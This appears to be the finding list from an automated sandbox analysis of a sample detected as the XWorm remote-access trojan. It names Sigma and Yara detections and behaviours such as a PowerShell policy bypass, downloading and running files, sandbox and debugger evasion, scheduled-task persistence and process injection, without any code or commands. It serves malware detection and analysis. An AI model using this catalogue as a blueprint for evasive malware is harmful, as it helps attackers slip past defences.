Yara detected XWorm
.NET source code contains potential unpacker
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Check if machine is in data center or colocation facility
Connects to many ports of the same IP (likely port scanning)
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Joe Sandbox ML detected suspicious sample
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: PowerShell DownloadFile
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to download and execute files (via powershell)
Uses schtasks.exe or at.exe to add and modify task schedules
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: PowerShell Download Pattern
